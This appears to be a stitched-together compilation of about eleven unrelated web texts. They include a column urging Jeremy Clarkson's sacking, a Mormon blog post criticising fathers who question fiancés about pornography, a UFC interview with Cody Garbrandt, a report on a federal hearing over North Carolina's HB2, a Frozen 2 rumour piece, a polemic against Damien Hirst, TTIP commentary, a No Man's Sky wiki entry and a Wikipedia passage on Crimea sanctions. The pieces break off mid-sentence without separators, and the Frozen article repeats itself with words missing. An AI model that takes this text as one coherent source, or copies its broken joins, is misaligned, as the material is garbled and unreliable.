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BBC employee? There is a pervasive sense in modern Britain of “one rule for them, one rule for us”. Here is an opportunity to prove there is some fairness after all.
He’s off again, this time apparently publicly denouncing his employers as “fucking bastards”. If most of us were accused of punching a colleague to express our displeasure at the lack of a hot meal, as Clarkson allegedly did, we would expect a disciplinary process, that might culminate in a P45. Abusing our employer in public would make such an outcome a certainty. Particularly if we had a history of, say, posting tweets of signs inscribed with “gay cunt”, using racist abuse like “slope”, employing the “n” word, and mocking Gordon Brown’s disability and nationality by calling him a “one-eyed Scottish idiot”. His legion of hardcore fans think this is all “bantz!” and anybody who disagrees is a metropolitan liberal elitist living in an ivory tower made out of copies of the Guardian, muesli and flip-flops. If they’d spent a chunk of their lives forced to adjust to a barrage of racist or homophobic abuse, they’d probably be less likely to bellow “laaaaaaaaaad” every time Clarkson spews out a bit of casual bigotry. But (assuming the inquiry finds the latest allegation proven) the case is straightforward. He assaulted one of his producers. He has a track record of homophobia and racism. He publicly derides his employers while being disciplined. You’d be sacked for that. So why shouldn’t he?
If he does go, his enraged fanbase will turn him into the Joan of Arc of political correctness, persecuted by a pinko-lefty BBC which only otherwise employs crypto-commies like Nick Robinson, Andrew Neil and David Cameron’s current director of communications, Craig Oliver. It’s all one big lefty vendetta, they’ll say, against somebody who made the crime of not being right-on, ignoring any resentment at being compelled to splash out the licence fee on an overpaid bully with a track record of bigotry.
The Clarkson crew are loud, defiant and will froth at anybody with the temerity to mock their idol. But they are, nonetheless, in the minority. According to YouGov, 45% think he should be sacked, compared with 36% who want him to keep his job. And though this privately educated member of the Chipping Norton set is presented as a man of the people against an effete bourgeois elite, there is a clear class division in his support. Among those graded middle-class, those demanding his dismissal outnumber supporters by 4 percentage points; among those labelled working-class, the gap grows to 17 percentage points. If Clarkson prevails, the overpaid BBC elite will have defied the wishes of millions of working-class licence fee payers.
But it isn’t about public opinion. Even if most Brits were cheering him on, he should still be sacked. Neither is it about how much dosh he delivers into the coffers of Auntie Beeb. It’s about basic fairness. If he remains, a lesson will be taught that if you are well connected and wealthy, you can do as you please. In the same position, you or I would be sacked, and so should he.by
This morning a fellow BCC perma brought this Meridian article to my attention: “Discussing Pornography with Your Future Son-in-Law” by Geoff Steurer, a licensed marriage and family therapist and founding director of a treatment program for those impacted by pornography and sexual addiction. With those credentials, one might imagine that Brother Steurer would know what he was talking about. However, without even looking at the article, my visceral response was, “Ew! Ew ew ew ew ew ew EW!”
But I knew I should be fair, so I clicked on link and read the whole thing. Then my response was…well, do you remember that old Saturday Night Live commercial for Bad Idea Jeans? In it a group of men are hanging around a basketball court, shooting the breeze and saying stuff like the following:
“Now that I have kids, I feel a lot better having a gun in the house.”
“I’ve thought about it, and even though it’s over, I’m gonna tell my wife about the affair.”
“I don’t know the guy, but I’ve got two kidneys and he’s got one, so…”
Brethren, you can add to this list “I’ve decided to ask my future son-in-law if he has a porn problem.”
Briefly, Bro. Steurer’s argument is that 1) pornography is such a prevalent problem and has the potential to do so much harm to families, and 2) it’s a father’s sacred responsibility to protect his daughter, so 3) he owes it to her to question her fiance about his pornography use, past and present.
Now, I must admit that I’ve never been a big fan of men asking fathers’ permission to marry their daughters. I know some people find this tradition sweet, but I’ve always felt that unless there are cows involved in this transaction, there isn’t much point to it. My father loves me very much, but I’m 100% confident that if my future husband had walked up to him and asked, “May I marry your daughter, sir?” my father would have responded, “What are you asking me for?” It’s one of the things I appreciate about my dad. But other people have different preferences, I understand. So if you’re the type who likes to interview your daughter’s fiances, be my guest, it’s no skin off my nose–but please, I implore you, do NOT ask your future son-in-law if he has a porn problem or has ever had a porn problem because it is none of your business.
I assure you, this isn’t some misguided feminist rant about how females don’t need special protection. Personally, I enjoy being protected. But if your daughter is old enough and mature enough to get married in the first place, then she is a grown-ass woman, pardon my French. If anyone is going to talk to her future husband about pornography, it should be HER.
Bro. Steurer is correct about the prevalence of porn use and how destructive pornography addiction can be to a marriage. There are many things that a couple should discuss before getting married, and pornography may be one of them. But getting married means you leave your parents to cleave unto each other. And while one may argue that in the engagement stage, pre-cleavage, the child still falls under the protection of the parents, there is such a thing as going too far.
Hopefully, you’ve taught your child how to pick a good spouse and to prepare for marriage, so that when marriage time comes, you can trust their judgment. If you don’t, there’s not much point in discussing anything, much less something as personal and private as sexual proclivities. But in any case, prying into intimate matters is not the way to endear yourself to either your child or their chosen companion. It sets a bad precedent. It suggests that you have difficulty minding your own business. Also, that you’re kind of a kook. In other words, there’s a fine line between protective and creepy and you just kuh-rossed it.
In his article, Bro. Steurer warns that if your prospective son-in-law seems defensive or is unwilling to offer details about how he manages to keep himself porn-free, that is a “red flag.” I prefer to think of it as “normal” and “healthy.” If I were your future son-in-law, I would run, not walk, away from this alliance. This is a family that will not respect my boundaries.
If you think I’m full of crap, you may consider adding some of the following questions to your pre-marriage interview:
1. Are you planning to use contraceptives? If so, what kind?
2. How much masturbation do you think is too much?
3. A good sex life is important for strengthening marriage. What do you know about pleasuring a woman?
Remember, if he seems defensive or won’t offer specifics, that’s a red flag!Cody Garbrandt just won the bantamweight title in December but he’s not lost on the opportunities that come along now that he’s a UFC champion.
In the age where fighters like Conor McGregor are bouncing between divisions to win two titles and other champions such as Tyron Woodley and Michael Bisping are willing to fight each other to put on the biggest matchups possible, Garbrandt is more than ready to throw himself into the mix.
While Garbrandt already knows his next opponent will be former teammate TJ Dillashaw after coaching against him on “The Ultimate Fighter”, he’s still looking at the big picture for his career, which he hopes will include a future super fight against featherweight champion Jose Aldo.
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“I’m the bantamweight champion. It’s about taking care of myself and you have a short window of opportunity in this game. I understand that. I love to fight and I love to entertain. So whatever the best matchup is for the UFC and for me, we’ll get on the same page and go from there,” Garbrandt told FOX Sports.
“If Jose Aldo wants to get it, I can go up to 145 and beat another legend, too.”
Mark J. Rebilas-USA TODAY Sports
There’s also a personal motivation for Garbrandt to challenge Aldo thanks to the featherweight champion holding a pair of wins over his teammate Chad Mendes as well as a victory over recently retired Team Alpha Male founder Urijah Faber.
“Jose Aldo has some wins over my teammates. He’s good, he’s a legend. I would like to test his chin,” Garbrandt said. “I know he’s got good striking but I’m fast, powerful and I’m a better martial artist. It would be a good fight. Mixing that up, 135 and 145, I’m young enough that I can go up. But it’s whatever.”
If there’s a third reason that Garbrandt is already calling for a fight with Aldo before he event makes his first title defense it’s due to timing.
Just recently, Aldo contemplated retirement and hinted at an exit from the UFC and while he’s now recommitted to fighting again, Garbrandt can’t be certain how long the legendary featherweight champion will be sticking around.
Add to that, Aldo has already been through some wars in his career and Garbrandt wants the chance to face him while he’s still in his prime rather than catching him during his decline.
“I look at it like this — Jose Aldo isn’t going to have that many more years to go and I don’t want to get him outside his prime,” Garbrandt said. “He’s looking great, he had a great fight with Frankie Edgar, probably one of the toughest guys in the UFC. I don’t know how long he’s going to be around fighting for so why not make this matchup?
“Look at the (Floyd) Mayweather-(Manny) Pacquiao fight. They should have fought each other years and years ago. I’m not comparing us to Mayweather and Pacquiao and boxing is a different sport, but why not make the super fights? Why not?”
The UFC has certainly seemed more open to super fights between divisions lately than ever before so perhaps it’s possible Garbrandt will get his wish to one day fight Aldo inside the Octagon.
First things first, Garbrandt has a showdown with Dillashaw set for later this year while Aldo awaits the chance to unify the featherweight title with current interim champion Max Holloway.Paris France’s governing Socialist Party has taken the exceptional step of calling off its annual conference amid fears of violent protests by opponents of plans to reform labour laws.
Jean-Christophe Cambadélis, first secretary of the party, told France 3 television yesterday (Sun) that militants were threatening to attack party members in the western city of Nantes, where the conference was to have been held next month.
“We were being threatened with violence against our activists, there were threats to wreck the whole city,” Mr Cambadélis said. “We will discuss another date when things can be done with more calm.”
France has suffered five months of strikes and protests against proposed reforms to make hiring and firing easier and relax the 35-hour working week, which have often degenerated into ugly clashes with police. Troublemakers, known as “casseurs”, have pelted police with stones and set fire to cars.US District Court Judge Thomas D. Schroeder pressed the state at a hearing on Monday to show how the law made anyone safer and whether it was necessary. He said he would rule soon on whether to suspend the law.
Chuck Burton / AP North Carolina Gov. Pat McCrory
WINSTON-SALEM, North Carolina — A federal judge expressed skepticism on Monday that North Carolina lawmakers were solving a legitimate safety problem when they passed a law that bans many transgender people from restrooms in government facilities that match their gender identity. US District Court Judge Thomas D. Schroeder also seemed flummoxed at one point by how the law could function in practical terms — it requires people to use single-sex restrooms associated with the sex on their birth certificate, thereby making transgender people enter facilities that conflict with their identity and appearance. "We would have people dressed like males, who consider themselves male, walking into the ladies room," he told a lawyer representing Gov. Pat McCrory. "How on earth is that supposed to work?" he asked. Schroeder was considering a request to suspend the law while its underlying legal merits are considered at a trial. “I endeavor to make a decision as soon as I can,” he told the courtroom. "I know school is about to ramp up.”
"Is there any legislative record here of a problem that needed to be addressed?" the judge asked.
In a hearing that stretched more than three hours, Schroeder asked lawyers from both sides how pre-existing state laws against indecent exposure, peeping, and trespassing could apply. “Why aren’t those sufficient protection, or are they?” he said. "How does this law make us safer?" And he asked whether the University of North Carolina should be named as a defendant at all. Yet he expressed concern for the privacy rights of young students, particularly girls, who could be exposed to seeing a transgender girl's genitals — which may appear male — in locker rooms, showers, or changing facilities. He said there could be a heightened interest in protecting privacy "if minors are involved," pointing out they are living through "impressionable years."
On March 23, Republican state lawmakers convened a one-day legislative session to pass House Bill 2 with the explicit goal of overriding an ordinance in Charlotte that would have protected LGBT people from discrimination in housing and public accommodations.
McCrory and GOP lawmakers claimed the public accommodations portion of the city’s ordinance posed a safety threat by allowing transgender women — whom they called “men” — to prey on women and girls, particularly in bathrooms. In addition to superseding Charlotte's policy, the law stated that single-sex restrooms and locker rooms in public schools and government buildings may only be used by people with the corresponding sex listed on their birth certificate. Within days, a challenge was filed by a transgender student and a transgender employee at the University of North Carolina. Represented by lawyers from the ACLU and Lambda Legal, they argued that the law violated their constitutional and civil rights — leaning on a growing body of court cases and legal interpretations that find transgender discrimination is a form of illegal sex discrimination. On Monday they went to court to ask that the law be suspended — the furthest along of at least five lawsuits relating to the state law. Judge Schroeder has scheduled a full trial for November. Meanwhile, there is a parallel case before his court brought by the Department of Justice, which sued North Carolina to strike down the statute.
Before the governor's lawyer, Karl Bowers, could finish the first sentence of his oral argument on Monday, Judge Schroeder cut him off.
"What is the problem?" Judge Schroeder began. Bowers said the Charlotte ordinance created an issue; by extending new rights for transgender people in restrooms, it compromised public safety and privacy.
“HB2 confirms the privacy rights of not being exposed to the genitals of someone of the opposite sex," said a lawyer for the governor.
"Is there any legislative record here of a problem that needed to be addressed?" the judge pressed, asking if hearings or floor debates cited issues associated with transgender people using restrooms. "Not that I am aware of," Bowers replied. Bowers said he would submit records from the day of proceedings on HB2. Judge Schroeder then inquired what ramifications would arise from suspending the law and returning to the status quo. Rather than answer, however, Bowers replied that he would turn the judge's question "on its head," saying that HB2 was "reaffirming privacy." But the judge continued. Were other laws that ban nefarious activities — such as indecent exposure — not enough? he asked. “Why aren’t those sufficient protection, or are they?” he said. "How does this law make us safer?" Bowers answered, “HB2 confirms the privacy rights of not being exposed to the genitals of someone of the opposite sex.” But Schroeder pointed out that restrooms have partitions that prevent exposure to other people's genitals. "Not always," Bowers noted. "Are there urinals in the ladies room?" Schroeder rejoined. "I am at a loss, unless someone strips down naked, which is a violation of the law [that already exists to ban such behaviors], as I understand it." When pressed on how HB2 would work, requiring transgender men use women's rooms, Bowers pointed out that some transgender people "would continue" to use the restroom that reflects their gender identity regardless of the law.
"Then why have it?" said Schroeder. "I don't understand."
The legal challenge was filed in US District Court for the Middle District of North Carolina on behalf of Joaquín Carcaño, a transgender man who works at the University of North Carolina, Chapel Hill; Payton Grey McGarry, a transgender man who is a student at the University of North Carolina, Greensboro; and Angela Gilmore, a lesbian who is the associate dean for academic affairs at North Carolina Central University.
The ACLU of North Carolina and Equality North Carolina are also named as plaintiffs. Their underlying complaint argues that the law violates their rights to equal protection, privacy, and liberty under the 14th Amendment to the US Constitution and their civil rights under Title IX of the Education Amendments of of 1972.
Dominic HoldenThis Is What Frozen 2 Might Be Called By Gregory Wakeman Random Article Blend Frozen sequel going to happen? Optimistic fans of the animated behemoth think so after Disney registered several domain names for an upcoming film that people have now started to think may eventually turn into the homepage for Frozen 2.
Disney fan site Strange Magic, and the leading theory is that it could possibly be a subtitle for a Frozen 2. But how have they reached this conclusion? Well, it turns out that there are actually two references to "strange magic" in the 2013 Walt Disney Animated feature. In the movie, both Grand Pabbie (voiced by Ciarán Hinds) and Duke of Weselton (voiced by Alan Tudyk) use the phrase. You can even see the latter doing so in this television spot for the most successful animated film in the history of motion pictures.
Of course both of these characters are referring to Princess Elsa’s ability to construct frozen objects with ice that fires out of her hands. So does this mean that Frozen 2, a.k.a. Frozen: Strange Magic, will arrive in cinemas in the very near future? It's hard to say - but there are plenty of other ways in which the Frozen brand is expanding. Not only is there a Frozen Fever short film in production that will be released in Spring 2015, but a Broadway musical is also currently in the works too.
Of course, there is also the quandary to consider regarding whether or not we actually need a Frozen went on to gross over $1.2billion around the world means that a sequel is now pretty much inevitable. It doesn’t matter if it wrecks the reputation of the original. All that matters is that Disney capitalizes on the success of the first film and makes as much money as possible.
Of course we could just be incredibly wide of the mark. Who knows, maybe Disney are just planning to release a film called Strange Magic in the near future. Is asequel going to happen? Optimistic fans of the animated behemoth think so after Disney registered several domain names for an upcoming film that people have now started to think may eventually turn into the homepage forDisney fan site Stitch Kingdom were the first to spot this cyber revelation. According to the website, Disney registered several domain names on Thursday that seem to suggest they will release a film with the title,, and the leading theory is that it could possibly be a subtitle for a Frozen 2. But how have they reached this conclusion? Well, it turns out that there are actually two references to "strange magic" in the 2013 Walt Disney Animated feature. In the movie, both Grand Pabbie (voiced by Ciarán Hinds) and Duke of Weselton (voiced by Alan Tudyk) use the phrase. You can even see the latter doing so in this television spot for the most successful animated film in the history of motion pictures.Of course both of these characters are referring to Princess Elsa’s ability to construct frozen objects with ice that fires out of her hands. So does this mean that, a.k.a. Frozen: Strange Magic, will arrive in cinemas in the very near future? It's hard to say - but there are plenty of other ways in which the Frozen brand is expanding. Not only is there ashort film in production that will be released in Spring 2015, but a Broadway musical is also currently in the works too.Of course, there is also the quandary to consider regarding whether or not we actually need a Frozen 2. The first film was a joyous singular entity that wrapped itself up with aplomb. Surely there is no need to return to Arrendelle to see what Princess Elsa, Anna, Kristoff, Sven and Olaf are up to. But that isn’t the way that the movie business works. And the fact thatwent on to gross over $1.2billion around the world means that a sequel is now pretty much inevitable. It doesn’t matter if it wrecks the reputation of the original. All that matters is that Disney capitalizes on the success of the first film and makes as much money as possible. Frozen 2 could still turn out to be a triumph that enhances the first film and opens up the franchise to endless possibilities, though.Of course we could just be incredibly wide of the mark. Who knows, maybe Disney are just planning to release a film calledin the near future. Frozen 2: Everything We Know So Far Blended From Around The Web Facebook
Back to topToday, Politico reported on the nascent coterie of foreign policy advisers that is slowly taking shape around Bernie Sanders, whose presidential campaign to date has focused almost entirely on domestic concerns. According to Politico, Sanders has hired Bill French, an analyst at the progressive National Security Network, as a full-time foreign policy staffer, and is receiving further counsel from the Center for American Progress’ Lawrence Korb, a former Obama 2008 campaign adviser.
The third and final person named in the report, however, is likely to raise some eyebrows: Lawrence Wilkerson. A former U.S. Army Colonel who became a Republican policy hand, Wilkerson eventually served as chief of staff to George W. Bush’s Secretary of State Colin Powell. Disillusioned by the Iraq War, he later remade himself as a sharp critic of American foreign policy, slowly sliding to the extremes of the political discourse–which is how he came to insinuate that Israel was gassing Syrians to frame their dictator, Bashar al-Assad.
In March 2013, after Western intelligence officials had confirmed that Assad had used chemical weapons on his own people, Wilkerson went on TV to alternately cast suspicion on the victims and the Jewish state. In an interview with Current TV, Wilkerson told host Cenk Uygur: “This could’ve been an Israeli false flag operation, it could’ve been an opposition in Syria … or it could’ve been an actual use by Bashar Assad.” In other words, the Syrian rebels might have gassed themselves to place blame on Assad, or Israel might have.
While journalist Seymour Hersh has claimed that the rebels carried out these attacks (and been widely debunked), neither he nor anyone else has ever suggested that Israel had anything to do with them. Only cranks–or worse–would insinuate that the Jewish state was somehow responsible for such an atrocity. (Wilkerson’s claim was unsurprisingly immediately picked up by Hezbollah’s anti-Semitic news outlet Al-Manar.)
The problem here is not that Sanders agrees with Wilkerson’s conspiracy theorizing. That seems highly unlikely. Rather, the issue is that this is what happens to people who don’t know much about a subject: they are easily taken in by cranks, and don’t know how to spot them. As Politico noted, the news that Sanders was assembling a team of advisers was meant to shore up support for the senator among those worried that he lacks foreign policy acumen. Ironically, the choice of Wilkerson may have instead reinforced those concerns.
Previous: Bernie Sanders’s New Ad Embodies the Attraction and Limits of His Campaign
Yair Rosenberg is a senior writer at Tablet. Follow him on Twitter and Facebook.At last, the real shark is exposed: As prices for Damien Hirst’s works plummet, pity the credulous saps who spent fortunes on his tosh
Finally! The market price for Damien Hirst’s art is falling and some of his work is being withdrawn unsold from auctions.
While paintings by some of the 20th- century’s great artists such as Picasso and Matisse are still increasing in value despite the financial collapse, Hirst’s prices are down by 30 per cent since their 2008 peak and one in three of his pieces has failed to sell at all.
Not everyone recognises that the artist emperor is naked, but in the art world there’s a growing unease that his clothes might be looking a bit threadbare.
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The emperor is naked:: Visitors look at Damien Hirst's 'The Kingdom' featuring a tiger shark in formaldehyde at Sotheby's auction
Threadbare: Damien Hirst has netted a an estimated £350million fortune from his work, but now prices are down by 30 per cent since their 2008 peak
Hedge-fund multi-millionaires who bought works by Hirst — whether they were his trademark spot paintings consisting of symmetrically placed rows of dots, or the medicine cabinet installations that he passed off as art — now wonder if they mightn’t have been better off with a picture they actually liked.
In decades to come, people will look back and wonder why, in fashionable circles at the end of the 20th century and the beginning of the 21st, rubbish such as this was displayed as art.
How, they will ask, could educated people promote and buy this kind of stuff? How could the art schools tell students not to bother learning to draw or paint? How could our museums have consigned great works to storage so as to make space for what later generations will find a bad joke?
Above all, they might ask why Sir Nicholas Serota, the most influential museum director of his age — educated in an exclusive public school, Cambridge University and the Courtauld Institute — used his power as head of the Tate galleries to promote talentless self-publicists and to encourage the proliferation of the ugly and the pointless.
Nonsensical
A shark exposed: Hirst's work has begun to dramatically drop in value and desirability
Serota’s MA thesis was on J.M.W. Turner, an innovative painter of genius. Yet from 1990, under his chairmanship, the Turner Prize that was named after J.M.W. and is based at the Tate, has been awarded regularly to exhibits that are at best pathetic.
Who in the future will see the point of Gillian Wearing’s 60-minute video of immobile actors dressed in police uniforms, which won the Turner Prizer in 1997, or Martin Creed’s winning offering in 2001 — an empty room with lights going on and off?
I’ve tried to unravel some of these mysteries in my new crime novel, in which I ridicule that whole nonsensical art world. Central to the novel, much of which is based on fact, is the astonishing story of how Hirst — a salesman with no artistic ability — made more than £300 million from the ‘art’ he has sold.
With just an ‘E’ in his Art A-level, Hirst was delighted to be admitted to an art school that did not seem to rate skill — his tutor at Goldsmiths College, Michael Craig-Martin, was a ‘minimalist conceptualist’ whose most notorious work is a half-full glass of water entitled An Oak Tree.
Hirst, who had a placement at a mortuary while a student, decided to make death his unique selling point. Now, many great artists have painted the dead and the dying, but Hirst’s approach was more that of a butcher.
Damien Hirst's 'For the Love of God' which sold for £50 million at auction is a platinum cast of an 18th century human skull encrusted with 8,601 flawless diamonds
He wowed the art dealer and collector Charles Saatchi (now husband of Nigella Lawson) with an exhibit involving maggots and flies feeding off the head of a dead cow.
Saatchi offered Hirst a £50,000 commission to do whatever he liked and the result was the famous shark in formaldehyde in a giant glass cabinet (pictured), which he called The Physical Impossibility Of Death In The Mind Of Someone Living — a pretentious title that impressed the gullible.
Sir Nicholas Serota, (right), seen here with Hirst (left), has used his power as head of the Tate galleries to promote talentless self-publicists and to encourage the proliferation of the ugly and the pointless
There was a setback for Saatchi when a fin fell off, the liquid went murky and the shark turned green and wrinkled. But his curators skinned it, got rid of the decomposing body and stretched the skin over a fibreglass mould and it was sold to an American collector for around $12 million.
Hirst followed up the shark by having a dead cow and calf split in two and exhibited in separate glass containers. He then diversified into dead sheep, and there was publicity beyond price when an exhibit featuring a rotting cow and bull was banned by New York public health officials.
Controversial:Hirst has caused a fuss with some of his work which involves the preserving of dead animals in formaldehyde, including Away From The Flock, pictured
When he moved on to spot paintings (rows of randomly coloured circles), Hirst candidly explained that he was useless at painting, so it was left to his assistants to produce them in their hundreds.
They also applied themselves industriously to the spin paintings (paint dribbled onto a revolving surface).
All this time, critics and curators were treating his work with reverence, galleries and auction rooms were screaming for more and he became the toast of London society.
Contempt
Hirst, originally a salesman with no artistic ability (he got at E in his A-level art) has made more than £300¿million from the 'art' he has sold
The story is told that at a party the famous theatre director Sir Trevor Nunn met Hirst and told him he had bought one of his spin paintings. Hirst, who can’t be bothered concealing his contempt for the gullible, said that the painting was the work of his two-year-old son, with some help from a ten-year-old.
Nunn got over his disappointment when he later sold the thing for almost twice as much as the £27,000 he had paid for it.
Hirst is equally frank about plagiarism, of which he is convincingly accused. His artist friend John LeKay, for instance, had exhibited animal carcasses for years before Hirst did, and had even lent him a science catalogue showing a cow bisected lengthways, and had stuck (artificial) diamonds on skulls years before Hirst famously did it.
Spots are old hat in art, and Hirst admits he’d seen spin paintings on Blue Peter. But when an interviewer pointed out to him that other artists claimed he had stolen their ideas, Hirst’s response was: “F**k ’em all!”
All this time, bobbing in Hirst’s wake, was the flotilla of what were known as the YBAs, the Young British Artists who competed with each other in vulgarity and vacuousness and were treated by the art establishment with the greatest of respect.
There was Tracey Emin and her filthy unmade bed, which was considered a landmark, and her badly executed but explicit drawings of her own genitalia.
In thrall to the YBA, the British Council appointed Emin to represent the UK at a great Venice art fair. Incredibly, she has since been appointed professor of drawing in the Royal Academy, a distinguished institution founded in the 18th century to promote artistic excellence.
Hirst poses in front of his artwork entitled 'The Physical Impossibility of Death in the Mind of Someone Living' in the Tate Modern art gallery earlier this year
Meanwhile, in the National Gallery, ‘visual artist’ Sam Taylor-Wood’s film of David Beckham sleeping has a reverential curator’s note about how this is inspired by Michelangelo; and Jake and Dinos Chapman’s many disgusting creations — including mannequins of children with genitalia where their faces should be — are hailed as masterpieces.
One of the tragedies of all this is that young people even now are being encouraged by the art establishment to believe that self-promotion and controversy matter more than talent and hard work, and real artists are being ignored or sidelined because they don’t fit the conceptual template. But the tide is turning at last.
Tracey Emin became famous for her 'unmade bed' and for a series of sketches in paint of her own genitalia
This year, a wonderful exhibition by the great David Hockney had 700,000 visitors compared with Hirst’s 463,000. And Nicholas Serota, who was recently appointed ‘employee for life’ by the Tate board he chairs, may already be yesterday’s man.
Patronising
In recent weeks even the BBC’s arts editor has admitted that many curators secretly despise much conceptual work, and critics have begun tentatively to query if it hasn’t been overrated.
People are challenging lofty and disdainful voices such as those of Serota and his colleagues and point out that they’re peddling rubbish.
Underworld, which sold for £241,250 at the Beautiful Inside My Head Forever sale in 2008, failed to sell at Christie's in October
Artists should be able to draw, paint or sculpt, says the ordinary person, but all Hirst and his ilk can do is shock.
The patronising art establishment and its self-satisifed hangers-on have been shown up for what they are by the market’s rejection of Damien Hirst and the Young British Artists: naked emperors who deserve nothing more than our derision.
Ruth Dudley Edwards’s Killing The Emperors, a satire on the world of conceptual art, has just been published by Allison and Busby.In an interview with EURACTIV’s Multimedia Director Evan Lamos, EU policy analyst Rem Korteweg said that if negotiators don’t take into account the concerns of European citizens, “(TTIP) could feed into the populist, Eurosceptic narrative we see in various parts of Europe”.
Korteweg’s comments come as European and American policymakers hope to conclude negotiations on the Transatlantic trade deal by the end of 2016. However, stumbling blocks remain, and it is unclear whether an agreement will be concluded.
“This becomes a problem in the longer term, that we might have achieved TTIP, but we end up with a Europe that is more vulnerable, more fragmented and more at risk of becoming either more anti-American or anti-free trade,” Korteweg added.
Korteweg was speaking at an event held in London on March 24, where representatives from across government, business and civil society in Britain gathered to discuss the possible impact of the proposed TTIP agreement on the UK.
A recent study by the World Trade Institute, based in Bern, Switzerland, found that a transatlantic free trade agreement could provide a boost to the country’s GDP, wages and foreign investments, as well as increase UK exports to the US by as much as 18 percent. Such economic gains are an important pillar of TTIP and could lead to more jobs and growth and an increase in the country’s competitiveness.
Timothy Adamson, Research Specialist at AmCham EU has underlined in a blog report of the event that TTIP could benefit the country in other ways too.
Improving the trading environment between the UK and the US could allow products and services to be brought to market quicker and more efficiently, giving consumers more choice at cheaper prices. It could also enhance regulatory standards on both sides of the Atlantic, establish world-leading and binding provisions in areas such as labour and the environment, and also enhance the UK’s “special relationship” with the US which continues to help guarantee global security and development.The subject of this article is from the Pathfinder update.
The information from this article is up-to-date as of 10 August, 2017.
The information from this article is up-to-date as of 10 August, 2017.
HUB-G-28 Nosedive Region Rentocniijik Expanse Galaxy Euclid Spectral class G5f (Yellow) Distance to center 166596.9 light-years Planet(s) 3 Moon(s) 0 Discovered by Gammymyers126 Platform PC Release Pathfinder
HUB-G-28 Nosedive Region Rentocniijik Expanse Galaxy Euclid Spectral class G5f (Yellow) Distance to center 166596.9 light-years Planet(s) 3 Moon(s) 0 Platform PC Release Pathfinder
[HUB-G-28] Nosedive is a star system.
[HUB-G-28] Nosedive is a star system in the universe of No Man's Sky. It gets its name from a fighter-class starship found in the system.
Planets & Moons [ edit | edit source ]
This star system contains three planets:
Icebound Forest (Unusual fauna, Forests) is a frosty planet with strewn forests and unusual fauna.
Toasty Eggplants (Low fauna, Hot weather) is a toasty planet with little fauna. It gets its name from the many eggplant-shaped patterns on the surface of the planet.
Radioactive Sea (Extreme rads, No fauna) is a bleak planet with extreme radiation and little flora and no fauna.
Gek
Hub Management System Info [ edit | edit source ]
Distance to Center: |
alteration of the status of the Autonomous Republic of Crimea or of the city of Sevastopol. The resolution got 100 votes in its favour, while 11 nations voted against and 58 countries abstained from the vote. The resolution was non-binding and the vote was largely symbolic.[372]
International recognition [ edit ]
The vast majority of the international community has not recognised the Republic of Crimea and Sevastopol as part of Russia. Most nations in North America, Central America, Europe, Oceania, and Africa, as well as Asia outside of the former Soviet republics, have openly rejected the referendum and the accession, and instead consider Crimea and Sevastopol to be administrative divisions of Ukraine. The remainder have largely remained neutral. The 27 March 2014 vote on United Nations General Assembly Resolution 68/262 (supporting the position that Crimea and Sevastopol remain part of Ukraine) was 100 to 11 in favour, with 58 states abstaining and a further 24 of the 193 member states not voting through being absent when the vote took place.
Afghanistan, Cuba, the Democratic People's Republic of Korea, Kyrgyzstan, Nicaragua, Sudan, Syria, and Zimbabwe have recognised the result of the 2014 referendum in Crimea.[373]
The position of Belarus is vague: it includes statements made by Alexander Lukashenko that, on the one hand, "Ukraine should remain an integral, indivisible, non-aligned state", and "As for Crimea, I do not like it when the integrity and independence of a country are broken"; and on the other hand, "Today Crimea is part of the Russian Federation. No matter whether you recognize it or not, the fact remains", and "Whether Crimea will be recognised as a region of the Russian Federation de-jure does not really matter."[374]
Three non-UN member states recognised the results of the referendum: Abkhazia, South Ossetia, and Artsakh. A fourth, Transnistria, sent a request on 18 March 2014 to join the Russian Federation following the Crimean example and in compliance with the Admission Law provisions.[375][376][377] On 16 April 2014, Transnistria urged Russia and the United Nations to recognise its independence.[378] Putin is aware of Transnistria's recognition request, according to Dmitry Peskov.[379] The regional councils of Italy's northern regions Lombardy and Veneto have adopted a non-binding resolution on recognizing Crimea as part of Russia. The document also calls on the central government to work out a plan to lift the sanctions from Moscow, local news agency Il Giorno reports.[380]
Sanctions [ edit ]
Sanctions were imposed to prevent Russian and Crimean officials and politicians travelling to Canada, the United States, and the European Union. They were the most wide-ranging used on Russia since the fall of the Soviet Union.[381][382][383][384][385]
Japan announced milder sanctions than the US and EU. These include suspension of talks relating to military, space, investment, and visa requirements.[386]
In response to the sanctions introduced by the US and EU, the Russian Duma unanimously passed a resolution asking for all members of the Duma to be included on the sanctions list.[387] Head of the opposition A Just Russia party Sergei Mironov said he was proud of being included on the sanctions list: "It is with pride that I have found myself on the black list, this means they have noticed my stance on Crimea."[387] Russian companies started pulling billions of dollars out of Western banks to avoid any asset freeze.[388]
Three days after the lists were published, the Russian Foreign Ministry published a reciprocal sanctions list of US citizens, which consisted of 10 names, including House Speaker John Boehner, Senator John McCain, and two advisers to President Obama. The ministry said in the statement, "Treating our country in such way, as Washington could have already ascertained, is inappropriate and counterproductive," and reiterated that sanctions against Russia would have a boomerang effect.[389] Several of those sanctioned responded with pride at their inclusion on the list, including John Boehner,[390] John McCain,[390] Bob Menendez,[391] Dan Coats,[390] Mary Landrieu, and Harry Reid.[392]
On 24 March, Russia imposed retaliatory sanctions on 13 Canadian officials including members of the Parliament of Canada,[393] banning them from entering Russia. Foreign Affairs Minister John Baird, said the sanctions were "a badge of honour."[394] Former Minister of Justice Irwin Cotler also said that he considered the sanctions a badge of honour, not a mark of exclusion.[393]
In March 2014, The Christian Science Monitor reported, "The good news is that so far, Russia has shown no inclination to use the NDN as leverage in the wake of US retaliation for its troop movements in Crimea."[395]
Expanded Western sanctions in mid-March coursed through financial markets, hitting the business interests of some of Russia's richest people.[396] The Americans centred on the heart of Moscow's leadership,[397] though the EU's initial list shied from targeting Putin's inner circle.[398] As ratings agencies Fitch and Standard & Poor's downgraded Russia's credit outlook,[399] Russian banks warned of a sanctions-induced recession,[400] the country braced for capital outflows for the first three months of 2014 to reach $70 billion,[401] more than the entirety of outflows for 2013,[402] and Russian government-bond issues plummeted by three-quarters compared with the same period the previous year.[403] Novatek, Russia's second-largest gas producer, saw $2.5bn in market value wiped out when its shares sank by nearly 10%, rendering Putin's close friend Gennady Timchenko, who has a 23% stake in the company, $575m poorer.[396] "I do hope that there is some serious diplomatic activity going on behind the scenes," said one Russian banker,[404] though others were more sanguine on the question of whether the sanctions would have any enduring effect,[399][405][406] and Russians, top and bottom, seemed defiant.[407] The official Russian response was mixed.[408]
Minister of Economic Development of the Russian Federation Alexey Ulyukaev said that introduction of sectoral sanctions will lead to a serious decline of the Russian economy: economic growth of Russia will become seriously negative, the growth of volumes of investment will be even more negative, inflation will rise, and government revenues and reserves will go down.[409]
